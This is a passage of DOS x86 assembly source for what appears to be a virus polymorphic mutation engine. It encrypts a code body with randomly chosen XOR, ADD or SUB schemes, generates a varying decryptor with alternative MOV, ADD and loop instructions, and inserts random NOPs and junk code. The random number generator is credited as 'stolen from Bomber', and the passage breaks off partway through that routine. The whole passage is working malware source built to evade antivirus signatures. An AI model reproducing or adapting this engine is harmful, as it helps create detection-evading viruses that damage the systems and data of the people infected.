  1530.  
  1531.                 jz      v1
  1532.  
  1533.                 mov     ax,cx
  1534.  
  1535.                 dec     ax
  1536.  
  1537.                 test    bl,10                   ;encrypt with byte or word?
  1538.  
  1539.                 jz      v1
  1540.  
  1541.                 and     al,0FE
  1542.  
  1543. v1:             add     ax,di
  1544.  
  1545.                 add     ax,bp
  1546.  
  1547.                 pop     si
  1548.  
  1549.                 add     ax,si
  1550.  
  1551.                 sub     ax,word ptr ds:[xor_offset]
  1552.  
  1553.                 mov     si,word ptr ds:[where_len]
  1554.  
  1555.                 test    bl,0C                   ;are BL,BH used for encryption?
  1556.  
  1557.                 jnz     v2
  1558.  
  1559.                 mov     byte ptr es:[si],al
  1560.  
  1561.                 mov     si,word ptr ds:[where_len2]
  1562.  
  1563.                 mov     byte ptr es:[si],ah
  1564.  
  1565.                 jmp     short v3
  1566.  
  1567. v2:             mov     word ptr es:[si],ax
  1568.  
  1569.  
  1570.  
  1571. v3:             mov     dx,word ptr ds:[xor_val]   ;encryption value
  1572.  
  1573.  
  1574.  
  1575.                 pop     si                      ;ds:si = start of code
  1576.  
  1577.  
  1578.  
  1579.                 push    di                      ;save ptr to encrypted code
  1580.  
  1581.                 push    cx                      ;save length of encrypted code
  1582.  
  1583.  
  1584.  
  1585.                 test    bl,10                   ;byte or word?
  1586.  
  1587.                 jz      blup
  1588.  
  1589.  
  1590.  
  1591.                 inc     cx                      ;cx = # of crypts (words)
  1592.  
  1593.                 shr     cx,1
  1594.  
  1595.  
  1596.  
  1597. lup:            lodsw                           ;encrypt code (words)
  1598.  
  1599.                 call    do_encrypt
  1600.  
  1601.                 stosw
  1602.  
  1603.                 loop    lup
  1604.  
  1605.                 jmp     short klaar
  1606.  
  1607.  
  1608.  
  1609.  
  1610.  
  1611. blup:           lodsb                           ;encrypt code (bytes)
  1612.  
  1613.                 xor     dh,dh
  1614.  
  1615.                 call    do_encrypt
  1616.  
  1617.                 stosb
  1618.  
  1619.                 loop    blup
  1620.  
  1621.  
  1622.  
  1623. klaar:          mov     cx,di                   ;cx = length decryptpr + code
  1624.  
  1625.                 pop     ax                      ;ax = length of decrypted code
  1626.  
  1627.                 pop     di                      ;di = offset encrypted code
  1628.  
  1629.                 xor     dx,dx                   ;ds:dx = decryptor + cr. code
  1630.  
  1631.                 push    es
  1632.  
  1633.                 pop     ds
  1634.  
  1635.                 ret
  1636.  
  1637.  
  1638.  
  1639.  
  1640.  
  1641. ;****************************************************************************
  1642.  
  1643. ;*              encrypt the code
  1644.  
  1645. ;****************************************************************************
  1646.  
  1647.  
  1648.  
  1649. do_encrypt:     add     dx,word ptr ds:[add_val]
  1650.  
  1651.                 test    bl,2
  1652.  
  1653.                 jnz     lup1
  1654.  
  1655.                 xor     ax,dx
  1656.  
  1657.                 ret
  1658.  
  1659.  
  1660.  
  1661. lup1:           test    bl,1
  1662.  
  1663.                 jnz     lup2
  1664.  
  1665.                 sub     ax,dx
  1666.  
  1667.                 ret
  1668.  
  1669.  
  1670.  
  1671. lup2:           add     ax,dx
  1672.  
  1673.                 ret
  1674.  
  1675.  
  1676.  
  1677.  
  1678.  
  1679. ;****************************************************************************
  1680.  
  1681. ;*              generate mov reg,xxxx
  1682.  
  1683. ;****************************************************************************
  1684.  
  1685.  
  1686.  
  1687. do_mov:         mov     dx,si
  1688.  
  1689.                 mov     al,byte ptr ds:[si+mov_byte]
  1690.  
  1691.                 cmp     dl,4                    ;BX?
  1692.  
  1693.                 jne     is_not_bx
  1694.  
  1695.                 call    add_ind
  1696.  
  1697. is_not_bx:      test    dl,0C                   ;A*?
  1698.  
  1699.                 pushf
  1700.  
  1701.                 jnz     is_not_a
  1702.  
  1703.                 test    bl,80                   ;A* or D*?
  1704.  
  1705.                 jz      is_not_a
  1706.  
  1707.                 add     al,2
  1708.  
  1709.  
  1710.  
  1711. is_not_a:       call    alter                   ;insert the MOV
  1712.  
  1713.  
  1714.  
  1715.                 popf                            ;A*?
  1716.  
  1717.                 jnz     is_not_a2
  1718.  
  1719.                 mov     ax,word ptr ds:[xor_val]
  1720.  
  1721.                 jmp     short sss
  1722.  
  1723.  
  1724.  
  1725. is_not_a2:      test    dl,8                    ;B*?
  1726.  
  1727.                 jnz     is_not_b
  1728.  
  1729.                 mov     si,offset where_len                
  1730.  
  1731.                 test    dl,2
  1732.  
  1733.                 jz      is_not_bh
  1734.  
  1735.                 add     si,2
  1736.  
  1737. is_not_bh:      mov     word ptr ds:[si],di
  1738.  
  1739.                 jmp     short sss
  1740.  
  1741.  
  1742.  
  1743. is_not_b:       mov     ax,cx                   ;C*
  1744.  
  1745.                 test    bl,10                   ;byte or word encryption?
  1746.  
  1747.                 jz      sss
  1748.  
  1749.                 inc     ax                      ;only half the number of bytes
  1750.  
  1751.                 shr     ax,1
  1752.  
  1753. sss:            test    dl,3                    ;byte or word register?
  1754.  
  1755.                 jz      is_x
  1756.  
  1757.                 test    dl,2                    ;*H?
  1758.  
  1759.                 jz      is_not_h
  1760.  
  1761.                 xchg    al,ah
  1762.  
  1763. is_not_h:       stosb
  1764.  
  1765.                 ret
  1766.  
  1767.  
  1768.  
  1769. is_x:           stosw
  1770.  
  1771.                 ret
  1772.  
  1773.  
  1774.  
  1775.  
  1776.  
  1777. ;****************************************************************************
  1778.  
  1779. ;*              insert MOV or alternative for MOV
  1780.  
  1781. ;****************************************************************************
  1782.  
  1783.  
  1784.  
  1785. alter:          push    bx
  1786.  
  1787.                 push    cx
  1788.  
  1789.                 push    ax
  1790.  
  1791.                 call    rnd_get
  1792.  
  1793.                 xchg    ax,bx
  1794.  
  1795.                 pop     ax
  1796.  
  1797.                 test    bl,3                    ;use alternative for MOV?
  1798.  
  1799.                 jz      no_alter
  1800.  
  1801.  
  1802.  
  1803.                 push    ax
  1804.  
  1805.                 and     bx,0F
  1806.  
  1807.                 and     al,08
  1808.  
  1809.                 shl     ax,1
  1810.  
  1811.                 or      bx,ax
  1812.  
  1813.                 pop     ax
  1814.  
  1815.  
  1816.  
  1817.                 and     al,7
  1818.  
  1819.                 mov     cl,9
  1820.  
  1821.                 xchg    ax,cx
  1822.  
  1823.                 mul     cl
  1824.  
  1825.  
  1826.  
  1827.                 add     ax,30C0
  1828.  
  1829.                 xchg    al,ah
  1830.  
  1831.                 test    bl,4
  1832.  
  1833.                 jz      no_sub
  1834.  
  1835.                 mov     al,28
  1836.  
  1837. no_sub:         call    maybe_2
  1838.  
  1839.                 stosw
  1840.  
  1841.  
  1842.  
  1843.                 mov     al,80
  1844.  
  1845.                 call    maybe_2
  1846.  
  1847.                 stosb
  1848.  
  1849.  
  1850.  
  1851.                 mov     ax,offset add_mode
  1852.  
  1853.                 xchg    ax,bx
  1854.  
  1855.                 and     ax,3
  1856.  
  1857.                 xlat
  1858.  
  1859.  
  1860.  
  1861.                 add     al,cl
  1862.  
  1863. no_alter:       stosb
  1864.  
  1865.                 pop     cx
  1866.  
  1867.                 pop     bx
  1868.  
  1869.                 ret
  1870.  
  1871.  
  1872.  
  1873.  
  1874.  
  1875. ;****************************************************************************
  1876.  
  1877. ;*              insert ADD AX,xxxx
  1878.  
  1879. ;****************************************************************************
  1880.  
  1881.  
  1882.  
  1883. do_add_ax:      push    cx
  1884.  
  1885.                 mov     si,offset add_val       ;save add-value here
  1886.  
  1887.                 mov     word ptr ds:[si],0
  1888.  
  1889.                 mov     ax,bx
  1890.  
  1891.                 and     ax,8110
  1892.  
  1893.                 xor     ax,8010
  1894.  
  1895.                 jnz     no_add_ax               ;use ADD?
  1896.  
  1897.  
  1898.  
  1899.                 mov     ax,bx
  1900.  
  1901.                 xor     ah,ah
  1902.  
  1903.                 mov     cl,3
  1904.  
  1905.                 div     cl
  1906.  
  1907.                 or      ah,ah
  1908.  
  1909.                 jnz     no_add_ax               ;use ADD?
  1910.  
  1911.  
  1912.  
  1913.                 test    bl,80
  1914.  
  1915.                 jnz     do_81C2                 ;AX or DX?
  1916.  
  1917.                 mov     al,5
  1918.  
  1919.                 stosb
  1920.  
  1921.                 jmp     short do_add0
  1922.  
  1923. do_81C2:        mov     ax,0C281
  1924.  
  1925.                 stosw
  1926.  
  1927. do_add0:        call    rnd_get
  1928.  
  1929.                 mov     word ptr ds:[si],ax
  1930.  
  1931.                 stosw
  1932.  
  1933. no_add_ax:      pop     cx
  1934.  
  1935.                 ret
  1936.  
  1937.  
  1938.  
  1939.  
  1940.  
  1941. ;****************************************************************************
  1942.  
  1943. ;*              generate encryption command
  1944.  
  1945. ;****************************************************************************
  1946.  
  1947.  
  1948.  
  1949. do_xor:         test    byte ptr ds:[flags],1
  1950.  
  1951.                 jz      no_cs
  1952.  
  1953.                 mov     al,2E                   ;insert CS: instruction
  1954.  
  1955.                 stosb
  1956.  
  1957.  
  1958.  
  1959. no_cs:          test    bh,80                   ;type of XOR command
  1960.  
  1961.                 jz      xor1
  1962.  
  1963.  
  1964.  
  1965.                 call    get_xor                 ;encrypt with register
  1966.  
  1967.                 call    do_carry
  1968.  
  1969.                 call    save_it
  1970.  
  1971.                 xor     ax,ax
  1972.  
  1973.                 test    bl,80
  1974.  
  1975.                 jz      xxxx
  1976.  
  1977.                 add     al,10
  1978.  
  1979. xxxx:           call    add_dir
  1980.  
  1981.                 test    bh,8
  1982.  
  1983.                 jnz     yyyy
  1984.  
  1985.                 stosb
  1986.  
  1987.                 ret
  1988.  
  1989.  
  1990.  
  1991. yyyy:           or      al,80
  1992.  
  1993.                 stosb             
  1994.  
  1995.                 call    rnd_get
  1996.  
  1997.                 stosw
  1998.  
  1999.                 mov     word ptr ds:[xor_offset],ax
  2000.  
  2001.                 ret
  2002.  
  2003.  
  2004.  
  2005. xor1:           mov     al,080                  ;encrypt with value
  2006.  
  2007.                 call    save_it
  2008.  
  2009.                 call    get_xor
  2010.  
  2011.                 call    do_carry
  2012.  
  2013.                 call    xxxx
  2014.  
  2015.                 mov     ax,word ptr ds:[xor_val]
  2016.  
  2017.                 test    bl,10
  2018.  
  2019.                 jmp     byte_word
  2020.  
  2021.  
  2022.  
  2023.  
  2024.  
  2025. ;****************************************************************************
  2026.  
  2027. ;*              generate increase/decrease command
  2028.  
  2029. ;****************************************************************************
  2030.  
  2031.  
  2032.  
  2033. do_add:         test    bl,8                    ;no CMPSW/SCASW if BX is used
  2034.  
  2035.                 jz      da0
  2036.  
  2037.                 test    bh,2                    ;ADD/SUB/INC/DEC or CMPSW/SCASW
  2038.  
  2039.                 jnz     do_cmpsw
  2040.  
  2041.  
  2042.  
  2043. da0:            test    bh,4                    ;ADD/SUB or INC/DEC?
  2044.  
  2045.                 jz      add1
  2046.  
  2047.  
  2048.  
  2049.                 mov     al,40                   ;INC/DEC
  2050.  
  2051.                 test    bh,1                    ;up or down?
  2052.  
  2053.                 jz      add0
  2054.  
  2055.                 add     al,8
  2056.  
  2057. add0:           call    add_ind
  2058.  
  2059.                 stosb
  2060.  
  2061.                 test    bl,10                   ;byte or word?
  2062.  
  2063.                 jz      return
  2064.  
  2065.                 stosb                           ;same instruction again
  2066.  
  2067. return:         ret
  2068.  
  2069.  
  2070.  
  2071. add1:           test    bh,40                   ;ADD/SUB
  2072.  
  2073.                 jz      no_clc2                 ;carry?
  2074.  
  2075.                 mov     al,0F8                  ;insert CLC
  2076.  
  2077.                 stosb
  2078.  
  2079. no_clc2:        mov     al,083
  2080.  
  2081.                 stosb
  2082.  
  2083.                 mov     al,0C0
  2084.  
  2085.                 test    bh,1                    ;up or down?
  2086.  
  2087.                 jz      add2
  2088.  
  2089.                 mov     al,0E8
  2090.  
  2091. add2:           test    bh,40                   ;carry?
  2092.  
  2093.                 jz      no_ac2
  2094.  
  2095.                 and     al,0CF
  2096.  
  2097.                 or      al,10
  2098.  
  2099. no_ac2:         call    add_ind
  2100.  
  2101.                 stosb
  2102.  
  2103.                 mov     al,1                    ;value to add/sub
  2104.  
  2105. save_it:        call    add_1
  2106.  
  2107.                 stosb
  2108.  
  2109.                 ret
  2110.  
  2111.  
  2112.  
  2113. do_cmpsw:       test    bh,1                    ;up or down?
  2114.  
  2115.                 jz      no_std
  2116.  
  2117.                 mov     al,0FDh                 ;insert STD
  2118.  
  2119.                 stosb
  2120.  
  2121. no_std:         test    bh,4                    ;CMPSW or SCASW?
  2122.  
  2123.                 jz      normal_cmpsw
  2124.  
  2125.                 test    bl,4                    ;no SCASW if SI is used
  2126.  
  2127.                 jnz     do_scasw
  2128.  
  2129.  
  2130.  
  2131. normal_cmpsw:   mov     al,0A6                  ;CMPSB
  2132.  
  2133.                 jmp     short save_it
  2134.  
  2135. do_scasw:       mov     al,0AE                  ;SCASB
  2136.  
  2137.                 jmp     short save_it
  2138.  
  2139.  
  2140.  
  2141.  
  2142.  
  2143. ;****************************************************************************
  2144.  
  2145. ;*              generate loop command
  2146.  
  2147. ;****************************************************************************
  2148.  
  2149.  
  2150.  
  2151. do_loop:        test    bh,1                    ;no JNE if couting down
  2152.  
  2153.                 jnz     loop_loop               ;  (prefetch bug!)
  2154.  
  2155.                 call    rnd_get
  2156.  
  2157.                 test    al,1                    ;LOOPNZ/LOOP or JNE?
  2158.  
  2159.                 jnz     cx_loop
  2160.  
  2161.  
  2162.  
  2163. loop_loop:      mov     al,0E0
  2164.  
  2165.                 test    bh,1A                   ;LOOPNZ or LOOP?
  2166.  
  2167.                 jz      ll0                     ;  no LOOPNZ if xor-offset
  2168.  
  2169.                 add     al,2                    ;  no LOOPNZ if CMPSW/SCASW
  2170.  
  2171. ll0:            stosb
  2172.  
  2173.                 mov     ax,dx
  2174.  
  2175.                 sub     ax,di
  2176.  
  2177.                 dec     ax
  2178.  
  2179.                 stosb
  2180.  
  2181.                 ret
  2182.  
  2183.  
  2184.  
  2185. cx_loop:        test    bh,10                   ;SUB CX or DEC CX?
  2186.  
  2187.                 jnz     cxl_dec
  2188.  
  2189.                 mov     ax,0E983
  2190.  
  2191.                 stosw
  2192.  
  2193.                 mov     al,1
  2194.  
  2195.                 stosb
  2196.  
  2197.                 jmp     short do_jne                
  2198.  
  2199.  
  2200.  
  2201. cxl_dec:        mov     al,49
  2202.  
  2203.                 stosb
  2204.  
  2205. do_jne:         mov     al,75
  2206.  
  2207.                 jmp     short ll0
  2208.  
  2209.  
  2210.  
  2211.  
  2212.  
  2213. ;****************************************************************************
  2214.  
  2215. ;*              add value to AL depending on register type
  2216.  
  2217. ;****************************************************************************
  2218.  
  2219.  
  2220.  
  2221. add_dir:        mov     si,offset dir_change
  2222.  
  2223.                 jmp     short xx1
  2224.  
  2225.  
  2226.  
  2227. add_ind:        mov     si,offset ind_change
  2228.  
  2229. xx1:            push    bx
  2230.  
  2231.                 shr     bl,1
  2232.  
  2233.                 shr     bl,1
  2234.  
  2235.                 and     bx,3
  2236.  
  2237.                 add     al,byte ptr ds:[bx+si]
  2238.  
  2239.                 pop     bx
  2240.  
  2241.                 ret
  2242.  
  2243.  
  2244.  
  2245.  
  2246.  
  2247. ;****************************************************************************
  2248.  
  2249. ;*              mov encryption command byte to AL
  2250.  
  2251. ;****************************************************************************
  2252.  
  2253.  
  2254.  
  2255. get_xor:        push    bx
  2256.  
  2257.                 mov     ax,offset how_mode
  2258.  
  2259.                 xchg    ax,bx
  2260.  
  2261.                 and     ax,3
  2262.  
  2263.                 xlat
  2264.  
  2265.                 pop     bx
  2266.  
  2267.                 ret
  2268.  
  2269.  
  2270.  
  2271.  
  2272.  
  2273. ;****************************************************************************
  2274.  
  2275. ;*              change ADD into ADC
  2276.  
  2277. ;****************************************************************************
  2278.  
  2279.  
  2280.  
  2281. do_carry:       test    bl,2                    ;ADD/SUB used for encryption?
  2282.  
  2283.                 jz      no_ac
  2284.  
  2285.                 test    bh,20                   ;carry with (encr.) ADD/SUB?
  2286.  
  2287.                 jz      no_ac
  2288.  
  2289.                 and     al,0CF
  2290.  
  2291.                 or      al,10
  2292.  
  2293. no_ac:          ret
  2294.  
  2295.  
  2296.  
  2297.  
  2298.  
  2299. ;****************************************************************************
  2300.  
  2301. ;*              change AL (byte/word)
  2302.  
  2303. ;****************************************************************************
  2304.  
  2305.  
  2306.  
  2307. add_1:          test    bl,10
  2308.  
  2309.                 jz      add_1_ret
  2310.  
  2311.                 inc     al
  2312.  
  2313. add_1_ret:      ret
  2314.  
  2315.  
  2316.  
  2317.  
  2318.  
  2319. ;****************************************************************************
  2320.  
  2321. ;*              change AL (byte/word)
  2322.  
  2323. ;****************************************************************************
  2324.  
  2325.  
  2326.  
  2327. maybe_2:        call    add_1
  2328.  
  2329.                 cmp     al,81                   ;can't touch this
  2330.  
  2331.                 je      maybe_not
  2332.  
  2333.                 push    ax
  2334.  
  2335.                 call    rnd_get
  2336.  
  2337.                 test    al,1
  2338.  
  2339.                 pop     ax
  2340.  
  2341.                 jz      maybe_not
  2342.  
  2343.                 add     al,2
  2344.  
  2345. maybe_not:      ret
  2346.  
  2347.  
  2348.  
  2349.  
  2350.  
  2351. ;****************************************************************************
  2352.  
  2353. ;*              get random nop (or not)
  2354.  
  2355. ;****************************************************************************
  2356.  
  2357.  
  2358.  
  2359. do_nop:         test    byte ptr ds:[flags],2
  2360.  
  2361.                 jz      no_nop
  2362.  
  2363. yes_nop:        call    rnd_get
  2364.  
  2365.                 test    al,3
  2366.  
  2367.                 jz      nop8
  2368.  
  2369.                 test    al,2
  2370.  
  2371.                 jz      nop16
  2372.  
  2373.                 test    al,1
  2374.  
  2375.                 jz      nop16x
  2376.  
  2377. no_nop:         ret
  2378.  
  2379.  
  2380.  
  2381.  
  2382.  
  2383. ;****************************************************************************
  2384.  
  2385. ;*              Insert random instructions
  2386.  
  2387. ;****************************************************************************
  2388.  
  2389.  
  2390.  
  2391. do_junk:        test    byte ptr ds:[flags],4
  2392.  
  2393.                 jz      no_junk
  2394.  
  2395.                 call    rnd_get                 ;put a random number of
  2396.  
  2397.                 and     ax,0F                   ;  dummy instructions before
  2398.  
  2399.                 inc     ax                      ;  decryptor
  2400.  
  2401.                 xchg    ax,cx
  2402.  
  2403. junk_loop:      call    junk
  2404.  
  2405.                 loop    junk_loop
  2406.  
  2407. no_junk:        ret
  2408.  
  2409.  
  2410.  
  2411.  
  2412.  
  2413. ;****************************************************************************
  2414.  
  2415. ;*              get rough random nop (may affect register values)
  2416.  
  2417. ;****************************************************************************
  2418.  
  2419.  
  2420.  
  2421. junk:           call    rnd_get
  2422.  
  2423.                 and     ax,1E
  2424.  
  2425.                 jmp     short aa0
  2426.  
  2427. nop16x:         call    rnd_get
  2428.  
  2429.                 and     ax,06
  2430.  
  2431. aa0:            xchg    ax,si
  2432.  
  2433.                 call    rnd_get
  2434.  
  2435.                 jmp     word ptr ds:[si+junkcals]
  2436.  
  2437.  
  2438.  
  2439.  
  2440.  
  2441. ;****************************************************************************
  2442.  
  2443. ;*              NOP and junk addresses
  2444.  
  2445. ;****************************************************************************
  2446.  
  2447.  
  2448.  
  2449. junkcals        dw      offset nop16x0
  2450.  
  2451.                 dw      offset nop16x1
  2452.  
  2453.                 dw      offset nop16x2
  2454.  
  2455.                 dw      offset nop16x3
  2456.  
  2457.                 dw      offset nop8
  2458.  
  2459.                 dw      offset nop16
  2460.  
  2461.                 dw      offset junk6
  2462.  
  2463.                 dw      offset junk7
  2464.  
  2465.                 dw      offset junk8
  2466.  
  2467.                 dw      offset junk9
  2468.  
  2469.                 dw      offset junkA
  2470.  
  2471.                 dw      offset junkB
  2472.  
  2473.                 dw      offset junkC
  2474.  
  2475.                 dw      offset junkD
  2476.  
  2477.                 dw      offset junkE
  2478.  
  2479.                 dw      offset junkF
  2480.  
  2481.  
  2482.  
  2483.  
  2484.  
  2485. ;****************************************************************************
  2486.  
  2487. ;*              NOP and junk routines
  2488.  
  2489. ;****************************************************************************
  2490.  
  2491.  
  2492.  
  2493. nop16x0:        and     ax,000F                 ;J* 0000 (conditional)
  2494.  
  2495.                 or      al,70
  2496.  
  2497.                 stosw
  2498.  
  2499.                 ret
  2500.  
  2501.  
  2502.  
  2503.  
  2504.  
  2505. nop16x1:        mov     al,0EBh                 ;JMP xxxx / junk
  2506.  
  2507.                 and     ah,07
  2508.  
  2509.                 inc     ah
  2510.  
  2511.                 stosw
  2512.  
  2513.                 xchg    al,ah                   ;get lenght of bullshit
  2514.  
  2515.                 cbw
  2516.  
  2517.                 jmp     fill_bullshit
  2518.  
  2519.  
  2520.  
  2521.  
  2522.  
  2523. nop16x2:        call    junkD                   ;XCHG AX,reg / XCHG AX,reg
  2524.  
  2525.                 stosb
  2526.  
  2527.                 ret
  2528.  
  2529.  
  2530.  
  2531.  
  2532.  
  2533. nop16x3:        call    junkF                   ;INC / DEC or DEC / INC
  2534.  
  2535.                 xor     al,8
  2536.  
  2537.                 stosb
  2538.  
  2539.                 ret
  2540.  
  2541.  
  2542.  
  2543.  
  2544.  
  2545. nop8:           push    bx                      ;8-bit NOP
  2546.  
  2547.                 and     al,7
  2548.  
  2549.                 mov     bx,offset nop_data8
  2550.  
  2551.                 xlat
  2552.  
  2553.                 stosb
  2554.  
  2555.                 pop     bx
  2556.  
  2557.                 ret
  2558.  
  2559.  
  2560.  
  2561.  
  2562.  
  2563. nop16:          push    bx                      ;16-bit NOP
  2564.  
  2565.                 and     ax,0303
  2566.  
  2567.                 mov     bx,offset nop_data16
  2568.  
  2569.                 xlat
  2570.  
  2571.                 add     al,ah
  2572.  
  2573.                 stosb
  2574.  
  2575.                 call    rnd_get
  2576.  
  2577.                 and     al,7
  2578.  
  2579.                 mov     bl,9
  2580.  
  2581.                 mul     bl
  2582.  
  2583.                 add     al,0C0
  2584.  
  2585.                 stosb
  2586.  
  2587.                 pop     bx
  2588.  
  2589.                 ret
  2590.  
  2591.  
  2592.  
  2593.  
  2594.  
  2595. junk6:          push    cx                      ;CALL xxxx / junk / POP reg
  2596.  
  2597.                 mov     al,0E8
  2598.  
  2599.                 and     ah,0F
  2600.  
  2601.                 inc     ah
  2602.  
  2603.                 stosw
  2604.  
  2605.                 xor     al,al
  2606.  
  2607.                 stosb
  2608.  
  2609.                 xchg    al,ah
  2610.  
  2611.                 call    fill_bullshit
  2612.  
  2613.                 call    do_nop
  2614.  
  2615.                 call    rnd_get                 ;insert POP reg
  2616.  
  2617.                 and     al,7
  2618.  
  2619.                 call    no_sp
  2620.  
  2621.                 mov     cx,ax
  2622.  
  2623.                 or      al,58
  2624.  
  2625.                 stosb
  2626.  
  2627.  
  2628.  
  2629.                 test    ch,3                    ;more?
  2630.  
  2631.                 jnz     junk6_ret
  2632.  
  2633.  
  2634.  
  2635.                 call    do_nop
  2636.  
  2637.                 mov     ax,0F087                ;insert XCHG SI,reg
  2638.  
  2639.                 or      ah,cl
  2640.  
  2641.                 test    ch,8
  2642.  
  2643.                 jz      j6_1
  2644.  
  2645.                 mov     al,8Bh
  2646.  
  2647. j6_1:           stosw
  2648.  
  2649.  
  2650.  
  2651.                 call    do_nop
  2652.  
  2653.                 push    bx
  2654.  
  2655.                 call    rnd_get
  2656.  
  2657.                 xchg    ax,bx
  2658.  
  2659.                 and     bx,0F7FBh               ;insert XOR [SI],xxxx
  2660.  
  2661.                 or      bl,8
  2662.  
  2663.                 call    do_xor
  2664.  
  2665.                 pop     bx
  2666.  
  2667. junk6_ret:      pop     cx
  2668.  
  2669.                 ret
  2670.  
  2671.  
  2672.  
  2673.  
  2674.  
  2675. junk7:          and     al,0F                   ;MOV reg,xxxx
  2676.  
  2677.                 or      al,0B0
  2678.  
  2679.                 call    no_sp
  2680.  
  2681.                 stosb
  2682.  
  2683.                 test    al,8
  2684.  
  2685.                 pushf
  2686.  
  2687.                 call    rnd_get
  2688.  
  2689.                 popf
  2690.  
  2691.                 jmp     short byte_word
  2692.  
  2693.  
  2694.  
  2695.  
  2696.  
  2697. junk8:          and     ah,39                   ;DO r/m,r(8/16)
  2698.  
  2699.                 or      al,0C0
  2700.  
  2701.                 call    no_sp
  2702.  
  2703.                 xchg    al,ah
  2704.  
  2705.                 stosw
  2706.  
  2707.                 ret
  2708.  
  2709.  
  2710.  
  2711.  
  2712.  
  2713. junk9:          and     al,3Bh                  ;DO r(8/16),r/m
  2714.  
  2715.                 or      al,2
  2716.  
  2717.                 and     ah,3F
  2718.  
  2719.                 call    no_sp2
  2720.  
  2721.                 call    no_bp
  2722.  
  2723.                 stosw
  2724.  
  2725.                 ret
  2726.  
  2727.  
  2728.  
  2729.  
  2730.  
  2731. junkA:          and     ah,1                    ;DO rm,xxxx
  2732.  
  2733.                 or      ax,80C0
  2734.  
  2735.                 call    no_sp
  2736.  
  2737.                 xchg    al,ah       
  2738.  
  2739.                 stosw
  2740.  
  2741.                 test    al,1
  2742.  
  2743.                 pushf
  2744.  
  2745.                 call    rnd_get
  2746.  
  2747.                 popf
  2748.  
  2749.                 jmp     short byte_word
  2750.  
  2751.  
  2752.  
  2753.  
  2754.  
  2755. junkB:          call    nop8                    ;NOP / LOOP
  2756.  
  2757.                 mov     ax,0FDE2
  2758.  
  2759.                 stosw
  2760.  
  2761.                 ret
  2762.  
  2763.  
  2764.  
  2765.  
  2766.  
  2767. junkC:          and     al,09                   ;CMPS* or SCAS*
  2768.  
  2769.                 test    ah,1
  2770.  
  2771.                 jz      mov_test
  2772.  
  2773.                 or      al,0A6
  2774.  
  2775.                 stosb
  2776.  
  2777.                 ret
  2778.  
  2779. mov_test:       or      al,0A0                  ;MOV AX,[xxxx] or TEST AX,xxxx
  2780.  
  2781.                 stosb
  2782.  
  2783.                 cmp     al,0A8
  2784.  
  2785.                 pushf
  2786.  
  2787.                 call    rnd_get
  2788.  
  2789.                 popf
  2790.  
  2791.                 jmp     short byte_word
  2792.  
  2793.  
  2794.  
  2795.  
  2796.  
  2797. junkD:          and     al,07                   ;XCHG AX,reg
  2798.  
  2799.                 or      al,90
  2800.  
  2801.                 call    no_sp
  2802.  
  2803.                 stosb
  2804.  
  2805.                 ret
  2806.  
  2807.  
  2808.  
  2809.  
  2810.  
  2811. junkE:          and     ah,07                   ;PUSH reg / POP reg
  2812.  
  2813.                 or      ah,50
  2814.  
  2815.                 mov     al,ah
  2816.  
  2817.                 or      ah,08
  2818.  
  2819.                 stosw
  2820.  
  2821.                 ret
  2822.  
  2823.  
  2824.  
  2825.  
  2826.  
  2827. junkF:          and     al,0F                   ;INC / DEC
  2828.  
  2829.                 or      al,40
  2830.  
  2831.                 call    no_sp
  2832.  
  2833.                 stosb
  2834.  
  2835.                 ret
  2836.  
  2837.  
  2838.  
  2839.  
  2840.  
  2841. ;****************************************************************************
  2842.  
  2843. ;*              store a byte or a word
  2844.  
  2845. ;****************************************************************************
  2846.  
  2847.  
  2848.  
  2849. byte_word:      jz      only_byte
  2850.  
  2851.                 stosw
  2852.  
  2853.                 ret
  2854.  
  2855.  
  2856.  
  2857. only_byte:      stosb
  2858.  
  2859.                 ret
  2860.  
  2861.  
  2862.  
  2863.  
  2864.  
  2865. ;****************************************************************************
  2866.  
  2867. ;*              don't fuck with SP!
  2868.  
  2869. ;****************************************************************************
  2870.  
  2871.  
  2872.  
  2873. no_sp:          push    ax
  2874.  
  2875.                 and     al,7
  2876.  
  2877.                 cmp     al,4
  2878.  
  2879.                 pop     ax
  2880.  
  2881.                 jnz     no_sp_ret
  2882.  
  2883.                 and     al,0FBh
  2884.  
  2885. no_sp_ret:      ret
  2886.  
  2887.  
  2888.  
  2889.  
  2890.  
  2891. ;****************************************************************************
  2892.  
  2893. ;*              don't fuck with SP!
  2894.  
  2895. ;****************************************************************************
  2896.  
  2897.  
  2898.  
  2899. no_sp2:         push    ax
  2900.  
  2901.                 and     ah,38
  2902.  
  2903.                 cmp     ah,20
  2904.  
  2905.                 pop     ax
  2906.  
  2907.                 jnz     no_sp2_ret
  2908.  
  2909.                 xor     ah,20
  2910.  
  2911. no_sp2_ret:     ret
  2912.  
  2913.  
  2914.  
  2915.  
  2916.  
  2917. ;****************************************************************************
  2918.  
  2919. ;*              don't use [BP+..]
  2920.  
  2921. ;****************************************************************************
  2922.  
  2923.  
  2924.  
  2925. no_bp:          test    ah,4
  2926.  
  2927.                 jnz     no_bp2
  2928.  
  2929.                 and     ah,0FDh
  2930.  
  2931.                 ret
  2932.  
  2933.  
  2934.  
  2935. no_bp2:         push    ax
  2936.  
  2937.                 and     ah,7
  2938.  
  2939.                 cmp     ah,6
  2940.  
  2941.                 pop     ax
  2942.  
  2943.                 jnz     no_bp_ret
  2944.  
  2945.                 or      ah,1
  2946.  
  2947. no_bp_ret:      ret
  2948.  
  2949.  
  2950.  
  2951.  
  2952.  
  2953. ;****************************************************************************
  2954.  
  2955. ;*              write byte for JMP/CALL and fill with random bullshit
  2956.  
  2957. ;****************************************************************************
  2958.  
  2959.  
  2960.  
  2961. fill_bullshit:  push    cx
  2962.  
  2963.                 xchg    ax,cx
  2964.  
  2965. bull_lup:       call    rnd_get
  2966.  
  2967.                 stosb
  2968.  
  2969.                 loop    bull_lup
  2970.  
  2971.                 pop     cx
  2972.  
  2973.                 ret
  2974.  
  2975.  
  2976.  
  2977.  
  2978.  
  2979. ;****************************************************************************
  2980.  
  2981. ;*              random number generator  (stolen from 'Bomber')
  2982.  
  2983. ;****************************************************************************
  2984.  
  2985.  
  2986.  
  2987. rnd_init:       push    cx
  2988.  
  2989.                 call    rnd_init0               ;init
  2990.  
  2991.                 and     ax,000F
  2992.  
  2993.                 inc     ax
  2994.  
  2995.                 xchg    ax,cx
  2996.  
  2997. random_lup:     call    rnd_get                 ;call random routine a few
  2998.  
  2999.                 loop    random_lup              ;  times to 'warm up'
  3000.  
  3001.                 pop     cx
  3002.  
  3003.                 ret
  3004.  
  3005.  
  3006.  
  3007. rnd_init0:      push    dx                      ;initialize generator
  3008.  
  3009.                 push    cx
  3010.  
  3011.                 mov     ah,2C
  3012.  
  3013.                 int     21
  3014.  
